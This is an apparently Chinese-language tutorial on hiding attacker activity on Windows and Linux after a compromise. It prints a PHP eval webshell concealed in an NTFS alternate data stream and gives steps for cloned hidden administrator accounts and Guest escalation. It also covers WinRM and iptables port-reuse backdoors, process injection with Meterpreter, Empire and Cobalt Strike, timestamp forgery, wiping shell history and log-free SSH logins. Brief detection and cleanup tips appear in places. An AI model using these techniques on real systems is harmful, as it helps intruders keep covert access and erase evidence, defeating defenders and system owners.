Windows隐藏篇
隐藏文件
1、利用文件属性
最简单的一种隐藏文件的方式,文件右键属性,勾选隐藏,点击确定后,在这个文件里看不到刚刚的文件了。
如果要让文件显示出来,就点击查看,勾选显示隐藏的文件,文件就显示出来。
- 如何真正隐藏文件?
使用Attrib +s +a +h +r命令就是把原本的文件夹增加了系统文件属性、存档文件属性、只读文件属性和隐藏文件属性。
1 | attrib +s +a +h +r D:\test\project\test.txt |
这样就做到了真正的隐藏,不管你是否显示隐藏文件,此文件夹都看不见。
- 破解隐藏文件:
打开电脑文件夹选项卡,取消”隐藏受保护的操作系统文件“勾选,把”隐藏文件和文件夹“下面的单选选择“显示隐藏的文件、文件夹和驱动器”。
2、利用ADS隐藏文件内容
在服务器上echo一个数据流文件进去,比如index.php是网页正常文件,我们可以这样子搞:
1 | echo ^<?php @eval($_POST['chopper']);?^> > index.php:hidden.jpg |
这样子就生成了一个不可见的shell hidden.jpg,常规的文件管理器、type命令,dir命令、del命令发现都找不出那个hidden.jpg的。
1 | 问题1:如何查看index.php:hidden.jpg内容呢? |
3、驱动级文件隐藏
驱动隐藏我们可以用过一些软件来实现,软件名字叫:Easy File Locker
下载链接: http://www.xoslab.com/efl.html
调成这样就成功隐藏了文件
如果你在网站目录未查找到相关文件,且系统目录存在存在以下文件:
1 | c:\WINDOWS\xlkfs.dat |
那么你,应该是遭遇了驱动级文件隐藏。
如何清除?
1 | 1、查询服务状态: sc qc xlkfs |
隐藏文件的方式还有很多,比如伪装成一个系统文件夹图标,利用畸形文件名、保留文件名无法删除,甚至取一个与系统文件很像的文件名并放在正常目录里面,很难辨别出来。
这些隐藏文件的方式早已不再是秘密,而更多的恶意程序开始实现“无文件”攻击,这种方式极难被发现。
隐藏账号
手动添加克隆账号
window 隐藏系统用户操作,CMD命令行下,建立了一个用户名为“test$”,密码为“abc123!”的简单隐藏账户,并且把该隐藏账户提升为了管理员权限。
PS:CMD命令行使用”net user”,看不到”test$”这个账号,但在控制面板和本地用户和组是可以显示此用户的。
克隆账号制作过程:
1、“开始”→“运行”,输入“regedt32.exe”后回车,需要到“HKEY_LOCAL_MACHINE\SAM\SAM”,单机右建权限,把名叫:administrator的用户给予:完全控制以及读取的权限,在后面打勾就行,然后关闭注册表编辑器,再次打开即可。
2、来到注册表编辑器的“HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names”处,点击test$用户,得到在右边显示的键值中的“类型”一项显示为0x3ec,找到箭头所指目录。
3、找到administrator所对应的的项为“000001F4”,将“000001F4”的F值复制到“000003EC”的F值中,保存。
4、分别test$和“000003EC导出到桌面,删除test$用户 net user test$ /del
5、将刚才导出的两个后缀为.reg的注册表项导入注册表中。这样所谓的隐藏账户就创建好了。PS:不管你是在命令提示符下输入net user 或者在系统用户管理界面都是看不到test$这个账户的,只有在注册表中才能看得到。
exe一键创建影子账号
项目地址:https://github.com/wgpsec/CreateHiddenAccount
使用:
1 | CreateHiddenAccount_v0.2.exe -u test -p test@123k |
1 | Import-Module Create-Clone.ps1 |
激活Guest账号
启用Guest账号的好处是隐蔽性高
启用步骤:
1 | net user guest /active:yes # 激活guest用户 |
一顿操作之后在域管机器上面看已经将guest添加到domain admins中
辨认的方法也很简单,看是否启用即可
检测和清理方法
- 使用D盾_web查杀工具,使用克隆账号检测功能进行查看,可检测出隐藏、克隆账号。
PCHunter
查看注册表
1
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names
查看删除账号
可能存在攻击者利用过的账号被删除了,但是漏洞依旧存在
路径:
1
HKLM/SOFTWARE/Microsoft/Windows NT/CurrentVersion/ProfileList
查看用户组
1
net localgroup administrators
查看安全日志
端口复用
通过端口复用来达到隐藏端口的目的,在Window下,如何实现端口复用呢?
前阵子,@Twi1ight公布了一种基于内置系统服务的端口复用后门方法,利用WinRM服务,一条命令实现端口复用后门:
1 | winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"} |
一般开启WinRM服务作为远程管理,但还是第一次听到可以作为端口复用,一种简单容易实现的端口复用方式。假设,攻击者已获取到administrator账号密码,连接远程WinRM服务执行命令:
当执行这条命令的同时,将在安全日志中留下痕迹,
另外,可以通过代码实现端口复用重定向,工具:https://github.com/crabkun/Switcher
进程注入
进程注入,一直是病毒木马的惯用手段,同时,它也是一种隐藏技术。在常见的渗透测试框架中,进程注入是怎么做的以及我们如何通过工具排查出来?
1、meterpreter会话注入
当前权限无法获取hash值,查看目前系统进程
通过migrate将进程注入到system进程后,成功获得hash值。
Window后门排查:
通过TCPview显示已建立的TCP连接,我们可以看到异常的连接,同时,恶意软件将以绿色显示不到一秒钟,然后变成红色消失,如此循环。
2、Empire会话进程注入
通过psinject模块进行会话注入,直接输入ps选择一个SYSTEM权限的进程PID,使用进程注入模块,来获取权限。如下图:
Window后门排查:利用process monitor或者火绒剑监控进程都可以定位到注入进程。
3、Cobalt Strike进程注入
选择进程,点击inject,随后选择监听器,点击choose,即可发现Cobaltstrike弹回了目标机的一个新会话,这个会话就是成功注入到某进程的beacon。
Window后门排查:利用process monitor捕捉通信过程,有规律的请求取决于sleep设置的间隔。
Metasploit注入 dll
https://blog.csdn.net/Fly_hps/article/details/80427707
几种后门和权限维持技术外还有像是dll劫持、一些软件的插件后门、office后门等。
https://blog.csdn.net/qq_33020901/article/details/89504902
Linux隐藏篇
隐藏文件
- 方法一
比如创建一个名字开头带.
的 Webshell 或者文件夹,默认情况下是不会显示出来的,浏览器访问的时候加点访问就行。(查看方法:ls -a)
1 | touch .webshell.php 创建名字为 .webshell.php 的文件 |
方法二
在管理员喝多了或者脑子转不过来的情况下,是绝对不会发现的!至少我用了这么久是没几个发现的。
是文件的话浏览器访问直接输 … 就行,目录同理。1
2touch … 创建名字为 … 的文件
mkdir … 创建名字为 … 的文件夹
隐藏文件时间戳
Unix 下藏后门必须要修改时间,否则很容易被发现,直接利用 touch 就可以了。
比如参考 index.php 的时间,再赋给 webshell.php,结果两个文件的时间就一样了。
利用方法
1 | touch -r index.php webshell.php |
或者直接将时间戳修改成某年某月某日。如下 2014 年 01 月 02 日。
1 | touch -t 1401021042.30 webshell.php |
隐藏权限
在Linux中,使用chattr命令来防止root和其他管理用户误删除和修改重要文件及目录,此权限用ls -l是查看不出来的,从而达到隐藏权限的目的。
这个技巧常被用在后门,变成了一些难以清除的后门文件,令很多新手朋友感到头疼。
1 | chattr +i evil.php 锁定文件 |
隐藏历史操作命令
在shell中执行的命令,不希望被记录在命令行历史中,如何在linux中开启无痕操作模式呢?
技巧一:只针对你的工作关闭历史记录
1 | [space]set +o history |
上面的命令会临时禁用历史功能,这意味着在这命令之后你执行的所有操作都不会记录到历史中,然而这个命令之前的所有东西都会原样记录在历史列表中。
要重新开启历史功能,执行下面的命令:
1 | [Space]set -o history |
技巧二:从历史记录中删除指定的命令
假设历史记录中已经包含了一些你不希望记录的命令。这种情况下我们怎么办?很简单。通过下面的命令来删除:
1 | history | grep "keyword" |
输出历史记录中匹配的命令,每一条前面会有个数字。从历史记录中删除那个指定的项:
1 | history -d [num] |
这种技巧是关键记录删除,或者我们可以暴力点,比如前150行是用户的正常操作记录,150以后是攻击者操作记录。我们可以只保留正常的操作,删除攻击痕迹的历史操作记录,这里,我们只保留前150行:
1 | sed -i '150,$d' .bash_history |
隐藏远程SSH登陆记录
隐身登录系统,不会被w、who、last等指令检测到。
1 | ssh -T root@127.0.0.1 /bin/bash -i |
不记录ssh公钥在本地.ssh目录中
1 | ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash –i |
端口复用
通过端口复用来达到隐藏端口的目的,在Linux下,如何实现端口复用呢?
第一种方式:通过SSLH在同一端口上共享SSH与HTTPS(需要选用没有使用的端口)
1 | #安装SSLH |
然后ssh连接443即可
1 | ssh -T root@172.17.0.2 -p 443 /bin/bash -i |
第二种方式:利用IPTables进行端口复用
1 | # 端口复用链 |
攻击机:
1 | #开启复用 |
具体文章详见:远程遥控 IPTables 进行端口复用
进程隐藏
管理员无法通过相关命令工具查找到你运行的进程,从而达到隐藏目的,实现进程隐藏。
第一种方法:libprocesshider
github项目地址:https://github.com/gianlucaborello/libprocesshider
利用 LD_PRELOAD 来实现系统函数的劫持,实现如下
1 | # 下载程序编译 |
测试:运行 evil_script.py,
此时发现在top 与 ps 中都无法找到 evil_script.py, cpu 使用率高,但是却找不到任何占用cpu高的程序。
如何在Linux中发现隐藏的进程,
unhide
是一个小巧的网络取证工具,能够发现那些借助rootkit,LKM及其它技术隐藏的进程和TCP / UDP端口。这个工具在Linux,UNIX类,MS-Windows等操作系统下都可以工作。
下载地址:http://www.unhide-forensics.info/
1 | # 安装 |
使用unhide proc
发现隐藏进程evil_script.py,如下图所示:
第二种方法:进程注入工具linux-inject
linux-inject是用于将共享对象注入Linux进程的工具
github项目地址: https://github.com/gaffe23/linux-inject.git
1 | # 下载程序编译 |
验证进程注入成功,如下图所示:
Cymothoa是一款隐秘的后门工具。它通过向目标主机活跃的进程注入恶意代码,从而获取和原进程相同的权限。该工具最大的优点就是不创建新的进程,不容易被发现。
下载地址:https://sourceforge.net/projects/cymothoa/files/cymothoa-1-beta/
1 | # 下载解压 |